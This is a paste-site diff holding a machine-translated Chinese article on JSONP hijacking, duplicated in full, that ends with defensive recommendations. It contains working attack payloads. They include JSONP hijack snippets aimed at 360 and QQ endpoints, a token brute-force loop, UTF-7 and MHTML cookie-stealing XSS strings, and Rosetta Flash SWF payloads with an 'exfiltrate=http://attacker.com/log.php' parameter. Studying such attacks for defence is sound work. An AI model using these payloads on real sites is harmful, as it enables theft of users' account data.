nani1337 · December 29, 2017 09:55
diff --git a/call back b/call back
 The full name of JSONP is JSON with Padding, a solution based on the JSON format that solves cross-domain request resources. He achieved the basic principle is the use of the HTML <script></script>element tags, remote call JSON files to achieve data transfer. To get b.com's JSON data (getUsers.JSON) under the a.com domain:

 {"id" : "1","name" : "知道创宇"}
 Then they can first output via JSONP's "Padding" getUsers.JSON as:

 callback({"id" : "1","name" : "知道创宇"}); 
 Callback for the actual application of the name in the background is dynamically output. As in the above example in PHP:

 <?php
 //getUsers.php
 $callback = $_GET['callback'];
 print $callback.'({"id" : "1","name" : "知道创宇"});';
 ?>
 Then a.com use <script>for remote calls, so you can directly call the Jquery in:

 <script type="text/javascript" src="http://mini.jiasule.com/framework/jquery/1.9.1/jquery-1.9.1.js"></script>
 <script type="text/javascript">
    $.getJSON("http://www.b.com/getUsers.php?callback=?", function(getUsers){
          alert(getUsers.name);
    });
 </script>



 <script>
 function wooyun(v){
    alert(v.username);
 }
 </script>
 <script src="http://js.login.360.cn/?o=sso&m=info&func=wooyun"></script>


 2, empty Referer

 In many cases, developers ignore the filtering of an empty Referer when deploying a filtered Referer source. Under normal circumstances the browser direct access to a URL without Referer, so many defensive deployments are allowed empty Referer. It is precisely this neglect that led to the collapse of the entire defense. Referer is empty when sending js request across js protocol! A simple example of cross-protocol calls:

 <iframe src="javascript:'<script>function JSON(o){alert(o.userinfo.userid);}</script><script src=http://www.qq.com/login.php?calback=JSON></script>'"></iframe>


 Another defense is to defend through a random token, this technology is more applied in the qq website, such as: http://r.qzone.qq.com/cgi-bin/tfriend/friend_show_qqfriends.cgi? Uin = [ QQ number] & g_tk = [random token] to output JSON, the same is also valid for this program, but the same can not be implemented to achieve the defense of the problem. If this token can be violent. Such as:

 function _Callback(o){
    alert(o.items[0].uin);
 }
 for(i=17008;i<17009;i++){  //暴力循环调用
    getJSON("http://r.qzone.qq.com/cgi-bin/tfriend/friend_show_qqfriends.cgi?uin=1111111&g_tk="+i);
 }


 http://127.0.0.1/getUsers.php?callback=<script>alert(/xss/)</script> 


 b, filtering callback and JSON data output

 This defense mechanism is more traditional offensive and defensive thinking, the output point xss filter. Again, it looks like a perfect solution, but it is often "unwilling." That year (2011) a utf7-BOM revived n XSS vulnerabilities. This attack mainly exists with IE (Note in the newer version of IE has been "repaired") That is, when we output the utf7-BOM + / v8 at the callback point, IE browser will be currently executing The code is considered utf7, so the XSS code we submit via utf7 is automatically decoded and executed. Such as:

 http://127.0.0.1/getUsers.php?callback=%2B%2Fv8%20%2BADwAaAB0AG0APgA8AGIAbwBkAHkAPgA8AHMAYwByAGkAcAB0AD4AYQBsAGUAcgB0ACgAMQApADsAPAAvAHMAYwByAGkAcAB0AD4APAAvAGIAbwBkAHkAPgA8AC8AaAB0AG0APg-%20
 among them:

 %2B%2Fv8%20%2BADwAaAB0AG0APgA8AGIAbwBkAHkAPgA8AHMAYwByAGkAcAB0AD4AYQBsAGUAcgB0ACgAMQApADsAPAAvAHMAYwByAGkAcAB0AD4APAAvAGIAbwBkAHkAPgA8AC8AaAB0AG0APg-%20
 URLdecode is:

 +/v8+ADwAaAB0AG0APgA8AGIAbwBkAHkAPgA8AHMAYwByAGkAcAB0AD4AYQBsAGUAcgB0ACgAMQApADsAPAAvAHMAYwByAGkAcAB0AD4APAAvAGIAbwBkAHkAPgA8AC8AaAB0AG0APg-
 Where + / v8 is utf7-BOM, followed by the UTF-7 encoded XSS code injected into us:

 <htm><body><script>alert(1);</script></body></htm>
 [参考：http://hi.baidu.com/hi_heige/item/357831ab6932239a14107346]
 The use of utf7-BOM method is a very representative of the common method, IE is also behind the upgrade to do a certain degree of defense, in addition to the developer point of view is also given a direct defense mandatory Content-Type encoding (Content -Type: application / json; charset = utf-8) Although there is no common technique for today's browsers, there is the possibility of various bypassing possibilities for the developer-based filtering mechanism.

 It seems the above mentioned two points a and b defensive problems may be a problem, then we use the "a + b program", that is, both are not very safe to have a problem? Everything is possible, we'll see!

 Third, other file formats (Content-Type) and JSON
 1, MHTML and JSONP

 In 2011, there was an Internet Explorer (IE) vulnerability heard of the mhtml protocol for cross-domain resolution: MHTML Mime-Formatted Request Vulnerability (CVE-2011-0096) https://technet.microsoft.com/library/security/ms11-026 A common use of JSONP call mechanism is to use the Callback function name output point:

 <iframe src="mhtml:http://127.0.0.1/getUsers.php?callback=Content-Type%3A%20multipart%2Frelated%3B%20boundary%3D_boundary_by_mere%0D%0A%0D%0A--_boundary_by_mere%0D%0AContent-Location%3Acookie%0D%0AContent-Transfer-
 Encoding%3Abase64%0D%0A%0D%0APGJvZHk%2BDQo8aWZyYW1lIGlkPWlmciBzcmM9Imh0dHA6Ly93d3cuODB2d
 WwuY29tLyI%2BPC9pZnJhbWU%2BDQo8c2NyaXB0Pg0KYWxlcnQoZG9jdW1lbnQuY29va2ll
 KTsNCmZ1bmN0aW9uIGNyb3NzY
 29va2llKCl7DQppZnIgPSBpZnIuY29udGVudFdpbmRvdyA%2FIGlmci5jb250ZW50V2luZG93I
 DogaWZyLmNvbnRlbnREb2N1bWVudDsNCmFsZXJ0KGlmci5
 kb2N1bWVudC5jb29raWUpDQp9DQpzZXRUaW1lb3V0KCJjc
 m9zc2Nvb2tpZSgpIiwxMDAwKTsNC
 jwvc2NyaXB0PjwvYm9keT4NCg%3D%3D%0D%0A--_boundary_by_mere--%0D%0A!cookie"></iframe>



 2, FLASH and JSONP

 The coming will come, just did not expect a similar scene staged so fast! In a recent flash security update (security bulletin APSB14-17 [http://helpx.adobe.com/security/products/flash-player /apsb14-17.html]) Fixed a security vulnerability:

 These updates include additional validation checks to ensure that Flash Player rejects malicious content from vulnerable JSONP callback APIs (CVE-2014-4671).

 And this loophole because of affecting Google, Facebook, Tumblr and other international sites and much domestic and foreign media attention. And this attack technology and JSONP callback point is closely related to this problem mainly exists HTML by <embed>、<object>calling the remote flash file, it will directly ignore the Content-Type JSONP callback output is generally output at the beginning of the file, then it can be output by the callback point A swf file, however remote html calls and runs the swf file. Such as:

 <script>
 // from http://50.56.33.56/blog/?p=242
 var flashvars = {};
 var params = {};                    
 var attributes = {};
 var url="http://127.0.0.1/getUsers.php?callback=CWS%07%AA%01%00%00x%DADP%C1N%021%14%9C%ED%22-j0%21%24%EB%81%03z%E3%E2%1F%18XI%88%1E%607%C0%C1%8B%D9%ACP%91X%ECf%A9%01%BF%40N%1C%F7%E6%DD%CF%F1%8F%F0%B5K%E2%3BL%DFL%DA%E9%9B%B7%05%FF%05%82%0Chz%E8%B3%03U%AD%0A%AA%D8%23%E8%D6%9B%84%D4%C5I%12%A7%B3%B7t%21%D77%D3%0F%A3q%A8_%DA%0B%F1%EE%09gpJ%B2P%FA9U0%2FHr%AD%0Df%B9L%8D%9C%CA%AD%19%2C%A5%9A%C3P%87%7B%A9%94not%AE%E6%ED%2Bd%B96%DA%7Cf%12%ABt%F9%8E4%CB%10N%26%D2%C4%B9%CE%06%2A%5D%ACQ0%08%B4%1A%8Do%86%1FG%BC%96%93%F6%C2%0E%C9%3A%08Q%5C%83%3F2%80%B7%7D%02%2B%FF%83%60%DC%A6%11%BE%7BU%19%07%F6%28%09%1B%15%15%88%13Q%8D%BE%28ID%84%28%1F%11%F1%82%92%88%FD%B9%0D%EFw%C0V34%8F%B3%145%88Zi%8E%5E%14%15%17%E0v%13%AC%E2q%DF%8A%A7%B7%01%BA%FE%1D%B5%BB%16%B9%0C%A7%E1%A4%9F%0C%C3%87%11%CC%EBr%5D%EE%CA%A5uv%F6%EF%E0%98%8B%97N%82%B9%F9%FCq%80%1E%D1%3F%00%00%00%FF%FF%03%00%84%26N%A8";
 swfobject.embedSWF(url, "content", "400", "200", "10.0.0", "expressInstall.swf", flashvars, params, attributes);
 </script>
 The actual effect of the swf file stream output by callback, which was proposed earlier in 2012, is that a malicious swf file is stored on the attacked website, and calling this swf file remotely can cause a CSRF attack directly. Please refer to "Flash + Upload Csrf Attack Technology" written by CSRF attack http://blog.knownsec.com/2014/06/flashupload_csrf_attacking/]

 Careful friends may find the above code callback output swf file stream contains a variety of special characters, this for the above-mentioned "b, filter callback and JSON data output" defense program directly to the interception, for Goolge , Facebook such a proven site for large, defense should be alone?

 The flaw finder gives detailed vulnerability details after the flash update "security bulletin APSB14-17" was released. One of the highlights is that the author implemented a pure alphanumeric swf file, such as:

 <object type="application/x-shockwave-flash"
 data="https://vulnerable.com/endpoint?callback=CWSMIKI0hCD0Up0IZ
 UnnnnnnnnnnnnnnnnnnnUU5nnnnnn3Snn7iiudIbEAt333swW0ssG03sDDtDDDt0
 333333Gt333swwv3wwwFPOHtoHHvwHHFhH3D0Up0IZUnnnnnnnnnnnnnnnnnnnUU
 5nnnnnn3Snn7YNqdIbeUUUfV13333333333333333s03sDTVqefXAxooooD0Ciud
 IbEAt33swwEpt0GDG0GtDDDtwwGGGGGsGDt33333www033333GfBDTHHHHUhHHHe
 RjHHHhHHUccUSsgSkKoE5D0Up0IZUnnnnnnnnnnnnnnnnnnnUU5nnnnnn3Snn7YN
 qdIbe13333333333sUUe133333Wf03sDTVqefXA8oT50CiudIbEAtwEpDDG033sD
 DGtwGDtwwDwttDDDGwtwG33wwGt0w33333sG03sDDdFPhHHHbWqHxHjHZNAqFzAH
 ZYqqEHeYAHlqzfJzYyHqQdzEzHVMvnAEYzEVHMHbBRrHyVQfDQflqzfHLTrHAqzf
 HIYqEqEmIVHaznQHzIIHDRRVEbYqItAzNyH7D0Up0IZUnnnnnnnnnnnnnnnnnnnU
 U5nnnnnn3Snn7CiudIbEAt33swwEDt0GGDDDGptDtwwG0GGptDDww0GDtDDDGGDD
 GDDtDD33333s03GdFPXHLHAZZOXHrhwXHLhAwXHLHgBHHhHDEHXsSHoHwXHLXAwX
 HLxMZOXHWHwtHtHHHHLDUGhHxvwDHDxLdgbHHhHDEHXkKSHuHwXHLXAwXHLTMZOX
 HeHwtHtHHHHLDUGhHxvwTHDxLtDXmwTHLLDxLXAwXHLTMwlHtxHHHDxLlCvm7D0U
 p0IZUnnnnnnnnnnnnnnnnnnnUU5nnnnnn3Snn7CiudIbEAtuwt3sG33ww0sDtDt0
 333GDw0w33333www033GdFPDHTLxXThnohHTXgotHdXHHHxXTlWf7D0Up0IZUnnn
 nnnnnnnnnnnnnnnnUU5nnnnnn3Snn7CiudIbEAtwwWtD333wwG03www0GDGpt03w
 DDDGDDD33333s033GdFPhHHkoDHDHTLKwhHhzoDHDHTlOLHHhHxeHXWgHZHoXHTH
 No4D0Up0IZUnnnnnnnnnnnnnnnnnnnUU5nnnnnn3Snn7CiudIbEAt33wwE03GDDG
 wGGDDGDwGtwDtwDDGGDDtGDwwGw0GDDw0w33333www033GdFPHLRDXthHHHLHqee
 orHthHHHXDhtxHHHLravHQxQHHHOnHDHyMIuiCyIYEHWSsgHmHKcskHoXHLHwhHH
 voXHLhAotHthHHHLXAoXHLxUvH1D0Up0IZUnnnnnnnnnnnnnnnnnnnUU5nnnnnn3
 SnnwWNqdIbe133333333333333333WfF03sTeqefXA888ooooooooooooooooooo
 oooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooo
 oooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooo
 ooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooo8
 88888880Nj0h"
 style="display: none">
 <param name="FlashVars"
 value="url=https://vulnerable.com/account/sensitive_content_logged_in
 &exfiltrate=http://attacker.com/log.php">
 </object>
 Specific reference: http://miki.it/blog/2014/7/8/abusing-jsonp-with-rosetta-flash/

 So for the pure alphanumeric output, the filtering for the XSS is obviously straightforward to ignore, and this loophole proves that the "a + b" scenario we mentioned above is bypassed!

 Fourth, the defense
 Through the above offensive and defensive war drills, many developers may feel a bit tragic taste, a variety of defense mechanisms seem to have ways to bypass. Here I think of a truth: no absolute security! So what is the meaning of our defense? I think the defense is that although there is no way to make the development process the safest (absolutely safe), but it can make it safer! The threshold for increasing the technical cost of an attacker is a major, important direction for security defense. We return to the specific JSONP defense can be summarized as follows:

 Implementing CSRF Strictly Secure Calling JSON Files: Limiting Referer, Deploying One-Time Tokens, and More.
 Strictly installed JSON format standard output Content-Type and encoding (Content-Type: application / json; charset = utf-8).
 Strict filter callback function name and JSON data output.
 Strict restrictions on the output of the JSONP callback function name length (such as defensive flash output above).
 Other more "insignificant" ways: such as adding other characters (such as / ** /, carriage return line feed) before the Callback output does not affect the JSON file loading, but also to some extent prevent the output of other file formats. For example, Gmail got AJAX early to get JSON and listened to while (1) before outputting JSON; this code prevents JS remote calls.
	The full name of JSONP is JSON with Padding, a solution based on the JSON format that solves cross-domain request resources. He achieved the basic principle is the use of the HTML <script></script>element tags, remote call JSON files to achieve data transfer. To get b.com's JSON data (getUsers.JSON) under the a.com domain:

	{"id" : "1","name" : "知道创宇"}
	Then they can first output via JSONP's "Padding" getUsers.JSON as:

	callback({"id" : "1","name" : "知道创宇"});
	Callback for the actual application of the name in the background is dynamically output. As in the above example in PHP:

	<?php
	//getUsers.php
	$callback = $_GET['callback'];
	print $callback.'({"id" : "1","name" : "知道创宇"});';
	?>
	Then a.com use <script>for remote calls, so you can directly call the Jquery in:

	<script type="text/javascript" src="http://mini.jiasule.com/framework/jquery/1.9.1/jquery-1.9.1.js"></script>
	<script type="text/javascript">
	$.getJSON("http://www.b.com/getUsers.php?callback=?", function(getUsers){
	alert(getUsers.name);
	});
	</script>



	<script>
	function wooyun(v){
	alert(v.username);
	}
	</script>
	<script src="http://js.login.360.cn/?o=sso&m=info&func=wooyun"></script>


	2, empty Referer

	In many cases, developers ignore the filtering of an empty Referer when deploying a filtered Referer source. Under normal circumstances the browser direct access to a URL without Referer, so many defensive deployments are allowed empty Referer. It is precisely this neglect that led to the collapse of the entire defense. Referer is empty when sending js request across js protocol! A simple example of cross-protocol calls:

	<iframe src="javascript:'<script>function JSON(o){alert(o.userinfo.userid);}</script><script src=http://www.qq.com/login.php?calback=JSON></script>'"></iframe>


	Another defense is to defend through a random token, this technology is more applied in the qq website, such as: http://r.qzone.qq.com/cgi-bin/tfriend/friend_show_qqfriends.cgi? Uin = [ QQ number] & g_tk = [random token] to output JSON, the same is also valid for this program, but the same can not be implemented to achieve the defense of the problem. If this token can be violent. Such as:

	function _Callback(o){
	alert(o.items[0].uin);
	}
	for(i=17008;i<17009;i++){ //暴力循环调用
	getJSON("http://r.qzone.qq.com/cgi-bin/tfriend/friend_show_qqfriends.cgi?uin=1111111&g_tk="+i);
	}


	http://127.0.0.1/getUsers.php?callback=<script>alert(/xss/)</script>


	b, filtering callback and JSON data output

	This defense mechanism is more traditional offensive and defensive thinking, the output point xss filter. Again, it looks like a perfect solution, but it is often "unwilling." That year (2011) a utf7-BOM revived n XSS vulnerabilities. This attack mainly exists with IE (Note in the newer version of IE has been "repaired") That is, when we output the utf7-BOM + / v8 at the callback point, IE browser will be currently executing The code is considered utf7, so the XSS code we submit via utf7 is automatically decoded and executed. Such as:

	http://127.0.0.1/getUsers.php?callback=%2B%2Fv8%20%2BADwAaAB0AG0APgA8AGIAbwBkAHkAPgA8AHMAYwByAGkAcAB0AD4AYQBsAGUAcgB0ACgAMQApADsAPAAvAHMAYwByAGkAcAB0AD4APAAvAGIAbwBkAHkAPgA8AC8AaAB0AG0APg-%20
	among them:

	%2B%2Fv8%20%2BADwAaAB0AG0APgA8AGIAbwBkAHkAPgA8AHMAYwByAGkAcAB0AD4AYQBsAGUAcgB0ACgAMQApADsAPAAvAHMAYwByAGkAcAB0AD4APAAvAGIAbwBkAHkAPgA8AC8AaAB0AG0APg-%20
	URLdecode is:

	+/v8+ADwAaAB0AG0APgA8AGIAbwBkAHkAPgA8AHMAYwByAGkAcAB0AD4AYQBsAGUAcgB0ACgAMQApADsAPAAvAHMAYwByAGkAcAB0AD4APAAvAGIAbwBkAHkAPgA8AC8AaAB0AG0APg-
	Where + / v8 is utf7-BOM, followed by the UTF-7 encoded XSS code injected into us:

	<htm><body><script>alert(1);</script></body></htm>
	[参考：http://hi.baidu.com/hi_heige/item/357831ab6932239a14107346]
	The use of utf7-BOM method is a very representative of the common method, IE is also behind the upgrade to do a certain degree of defense, in addition to the developer point of view is also given a direct defense mandatory Content-Type encoding (Content -Type: application / json; charset = utf-8) Although there is no common technique for today's browsers, there is the possibility of various bypassing possibilities for the developer-based filtering mechanism.

	It seems the above mentioned two points a and b defensive problems may be a problem, then we use the "a + b program", that is, both are not very safe to have a problem? Everything is possible, we'll see!

	Third, other file formats (Content-Type) and JSON
	1, MHTML and JSONP

	In 2011, there was an Internet Explorer (IE) vulnerability heard of the mhtml protocol for cross-domain resolution: MHTML Mime-Formatted Request Vulnerability (CVE-2011-0096) https://technet.microsoft.com/library/security/ms11-026 A common use of JSONP call mechanism is to use the Callback function name output point:

	<iframe src="mhtml:http://127.0.0.1/getUsers.php?callback=Content-Type%3A%20multipart%2Frelated%3B%20boundary%3D_boundary_by_mere%0D%0A%0D%0A--_boundary_by_mere%0D%0AContent-Location%3Acookie%0D%0AContent-Transfer-
	Encoding%3Abase64%0D%0A%0D%0APGJvZHk%2BDQo8aWZyYW1lIGlkPWlmciBzcmM9Imh0dHA6Ly93d3cuODB2d
	WwuY29tLyI%2BPC9pZnJhbWU%2BDQo8c2NyaXB0Pg0KYWxlcnQoZG9jdW1lbnQuY29va2ll
	KTsNCmZ1bmN0aW9uIGNyb3NzY
	29va2llKCl7DQppZnIgPSBpZnIuY29udGVudFdpbmRvdyA%2FIGlmci5jb250ZW50V2luZG93I
	DogaWZyLmNvbnRlbnREb2N1bWVudDsNCmFsZXJ0KGlmci5
	kb2N1bWVudC5jb29raWUpDQp9DQpzZXRUaW1lb3V0KCJjc
	m9zc2Nvb2tpZSgpIiwxMDAwKTsNC
	jwvc2NyaXB0PjwvYm9keT4NCg%3D%3D%0D%0A--_boundary_by_mere--%0D%0A!cookie"></iframe>



	2, FLASH and JSONP

	The coming will come, just did not expect a similar scene staged so fast! In a recent flash security update (security bulletin APSB14-17 [http://helpx.adobe.com/security/products/flash-player /apsb14-17.html]) Fixed a security vulnerability:

	These updates include additional validation checks to ensure that Flash Player rejects malicious content from vulnerable JSONP callback APIs (CVE-2014-4671).

	And this loophole because of affecting Google, Facebook, Tumblr and other international sites and much domestic and foreign media attention. And this attack technology and JSONP callback point is closely related to this problem mainly exists HTML by <embed>、<object>calling the remote flash file, it will directly ignore the Content-Type JSONP callback output is generally output at the beginning of the file, then it can be output by the callback point A swf file, however remote html calls and runs the swf file. Such as:

	<script>
	// from http://50.56.33.56/blog/?p=242
	var flashvars = {};
	var params = {};
	var attributes = {};
	var url="http://127.0.0.1/getUsers.php?callback=CWS%07%AA%01%00%00x%DADP%C1N%021%14%9C%ED%22-j0%21%24%EB%81%03z%E3%E2%1F%18XI%88%1E%607%C0%C1%8B%D9%ACP%91X%ECf%A9%01%BF%40N%1C%F7%E6%DD%CF%F1%8F%F0%B5K%E2%3BL%DFL%DA%E9%9B%B7%05%FF%05%82%0Chz%E8%B3%03U%AD%0A%AA%D8%23%E8%D6%9B%84%D4%C5I%12%A7%B3%B7t%21%D77%D3%0F%A3q%A8_%DA%0B%F1%EE%09gpJ%B2P%FA9U0%2FHr%AD%0Df%B9L%8D%9C%CA%AD%19%2C%A5%9A%C3P%87%7B%A9%94not%AE%E6%ED%2Bd%B96%DA%7Cf%12%ABt%F9%8E4%CB%10N%26%D2%C4%B9%CE%06%2A%5D%ACQ0%08%B4%1A%8Do%86%1FG%BC%96%93%F6%C2%0E%C9%3A%08Q%5C%83%3F2%80%B7%7D%02%2B%FF%83%60%DC%A6%11%BE%7BU%19%07%F6%28%09%1B%15%15%88%13Q%8D%BE%28ID%84%28%1F%11%F1%82%92%88%FD%B9%0D%EFw%C0V34%8F%B3%145%88Zi%8E%5E%14%15%17%E0v%13%AC%E2q%DF%8A%A7%B7%01%BA%FE%1D%B5%BB%16%B9%0C%A7%E1%A4%9F%0C%C3%87%11%CC%EBr%5D%EE%CA%A5uv%F6%EF%E0%98%8B%97N%82%B9%F9%FCq%80%1E%D1%3F%00%00%00%FF%FF%03%00%84%26N%A8";
	swfobject.embedSWF(url, "content", "400", "200", "10.0.0", "expressInstall.swf", flashvars, params, attributes);
	</script>
	The actual effect of the swf file stream output by callback, which was proposed earlier in 2012, is that a malicious swf file is stored on the attacked website, and calling this swf file remotely can cause a CSRF attack directly. Please refer to "Flash + Upload Csrf Attack Technology" written by CSRF attack http://blog.knownsec.com/2014/06/flashupload_csrf_attacking/]

	Careful friends may find the above code callback output swf file stream contains a variety of special characters, this for the above-mentioned "b, filter callback and JSON data output" defense program directly to the interception, for Goolge , Facebook such a proven site for large, defense should be alone?

	The flaw finder gives detailed vulnerability details after the flash update "security bulletin APSB14-17" was released. One of the highlights is that the author implemented a pure alphanumeric swf file, such as:

	<object type="application/x-shockwave-flash"
	data="https://vulnerable.com/endpoint?callback=CWSMIKI0hCD0Up0IZ
	UnnnnnnnnnnnnnnnnnnnUU5nnnnnn3Snn7iiudIbEAt333swW0ssG03sDDtDDDt0
	333333Gt333swwv3wwwFPOHtoHHvwHHFhH3D0Up0IZUnnnnnnnnnnnnnnnnnnnUU
	5nnnnnn3Snn7YNqdIbeUUUfV13333333333333333s03sDTVqefXAxooooD0Ciud
	IbEAt33swwEpt0GDG0GtDDDtwwGGGGGsGDt33333www033333GfBDTHHHHUhHHHe
	RjHHHhHHUccUSsgSkKoE5D0Up0IZUnnnnnnnnnnnnnnnnnnnUU5nnnnnn3Snn7YN
	qdIbe13333333333sUUe133333Wf03sDTVqefXA8oT50CiudIbEAtwEpDDG033sD
	DGtwGDtwwDwttDDDGwtwG33wwGt0w33333sG03sDDdFPhHHHbWqHxHjHZNAqFzAH
	ZYqqEHeYAHlqzfJzYyHqQdzEzHVMvnAEYzEVHMHbBRrHyVQfDQflqzfHLTrHAqzf
	HIYqEqEmIVHaznQHzIIHDRRVEbYqItAzNyH7D0Up0IZUnnnnnnnnnnnnnnnnnnnU
	U5nnnnnn3Snn7CiudIbEAt33swwEDt0GGDDDGptDtwwG0GGptDDww0GDtDDDGGDD
	GDDtDD33333s03GdFPXHLHAZZOXHrhwXHLhAwXHLHgBHHhHDEHXsSHoHwXHLXAwX
	HLxMZOXHWHwtHtHHHHLDUGhHxvwDHDxLdgbHHhHDEHXkKSHuHwXHLXAwXHLTMZOX
	HeHwtHtHHHHLDUGhHxvwTHDxLtDXmwTHLLDxLXAwXHLTMwlHtxHHHDxLlCvm7D0U
	p0IZUnnnnnnnnnnnnnnnnnnnUU5nnnnnn3Snn7CiudIbEAtuwt3sG33ww0sDtDt0
	333GDw0w33333www033GdFPDHTLxXThnohHTXgotHdXHHHxXTlWf7D0Up0IZUnnn
	nnnnnnnnnnnnnnnnUU5nnnnnn3Snn7CiudIbEAtwwWtD333wwG03www0GDGpt03w
	DDDGDDD33333s033GdFPhHHkoDHDHTLKwhHhzoDHDHTlOLHHhHxeHXWgHZHoXHTH
	No4D0Up0IZUnnnnnnnnnnnnnnnnnnnUU5nnnnnn3Snn7CiudIbEAt33wwE03GDDG
	wGGDDGDwGtwDtwDDGGDDtGDwwGw0GDDw0w33333www033GdFPHLRDXthHHHLHqee
	orHthHHHXDhtxHHHLravHQxQHHHOnHDHyMIuiCyIYEHWSsgHmHKcskHoXHLHwhHH
	voXHLhAotHthHHHLXAoXHLxUvH1D0Up0IZUnnnnnnnnnnnnnnnnnnnUU5nnnnnn3
	SnnwWNqdIbe133333333333333333WfF03sTeqefXA888ooooooooooooooooooo
	oooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooo
	oooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooo
	ooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooo8
	88888880Nj0h"
	style="display: none">
	<param name="FlashVars"
	value="url=https://vulnerable.com/account/sensitive_content_logged_in
	&exfiltrate=http://attacker.com/log.php">
	</object>
	Specific reference: http://miki.it/blog/2014/7/8/abusing-jsonp-with-rosetta-flash/

	So for the pure alphanumeric output, the filtering for the XSS is obviously straightforward to ignore, and this loophole proves that the "a + b" scenario we mentioned above is bypassed!

	Fourth, the defense
	Through the above offensive and defensive war drills, many developers may feel a bit tragic taste, a variety of defense mechanisms seem to have ways to bypass. Here I think of a truth: no absolute security! So what is the meaning of our defense? I think the defense is that although there is no way to make the development process the safest (absolutely safe), but it can make it safer! The threshold for increasing the technical cost of an attacker is a major, important direction for security defense. We return to the specific JSONP defense can be summarized as follows:

	Implementing CSRF Strictly Secure Calling JSON Files: Limiting Referer, Deploying One-Time Tokens, and More.
	Strictly installed JSON format standard output Content-Type and encoding (Content-Type: application / json; charset = utf-8).
	Strict filter callback function name and JSON data output.
	Strict restrictions on the output of the JSONP callback function name length (such as defensive flash output above).
	Other more "insignificant" ways: such as adding other characters (such as / ** /, carriage return line feed) before the Callback output does not affect the JSON file loading, but also to some extent prevent the output of other file formats. For example, Gmail got AJAX early to get JSON and listened to while (1) before outputting JSON; this code prevents JS remote calls.